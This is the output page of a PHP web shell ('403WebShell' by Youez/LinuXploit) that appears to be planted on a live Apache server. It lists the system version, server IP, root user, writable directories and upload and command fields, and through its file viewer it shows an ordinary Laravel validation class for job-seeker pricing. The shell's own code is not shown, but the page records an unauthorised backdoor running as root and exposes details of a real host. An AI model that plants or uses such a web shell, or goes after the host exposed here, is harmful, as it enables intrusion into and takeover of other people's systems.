Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Http/Requests/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Http/Requests/Admin/JobSeekerRequest.php
<?php

namespace App\Http\Requests\Admin;

use Illuminate\Foundation\Http\FormRequest;

class JobSeekerRequest extends FormRequest
{
    /**
     * Determine if the user is authorized to make this request.
     */
    public function authorize(): bool
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array<string, \Illuminate\Contracts\Validation\ValidationRule|array<mixed>|string>
     */
    public function rules(): array
    {
        return [
            'price' => 'required|numeric|min:0',
            'tax_percent' => 'required|numeric|min:0|max:100',
            'duration' => 'required|numeric|min:0',
            'max_limit' => 'required|numeric|min:0',
            'description' => 'nullable|string|max:255',
        ];
    }

    public function attributes()
    {
        return [
            'price' => trans('messages.PRICE'),
            'tax_percent' => trans('messages.TAX_PERCENT'),
            'duration' => trans('messages.DURATION'),
            'description' => trans('messages.DESCRIPTION'),
        ];
    }

    public function messages()
    {
        return [
            'price.numeric' => trans('messages.PRICE_NUMERIC'),
            'price.min'     => trans('messages.PRICE_MIN'),
            'price.required' => trans('messages.PRICE_REQUIRED'),

            'tax_percent.required' => trans('messages.TAX_PERCENT_REQUIRED'),
            'tax_percent.numeric'  => trans('messages.TAX_PERCENT_NUMERIC'),
            'tax_percent.min'      => trans('messages.TAX_PERCENT_MIN'),
            'tax_percent.max'      => trans('messages.TAX_PERCENT_MAX'),

            'duration.required' => trans('messages.DURATION_REQUIRED'),
            'duration.min'      => trans('messages.DURATION_IN_DAYS'),
            'duration.numeric'  => trans('messages.DURATION_INTEGER'),

            'description.string' => trans('messages.DESCRIPTION_STRING'),
            'description.max'    => trans('messages.DESCRIPTION_MAX')

        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit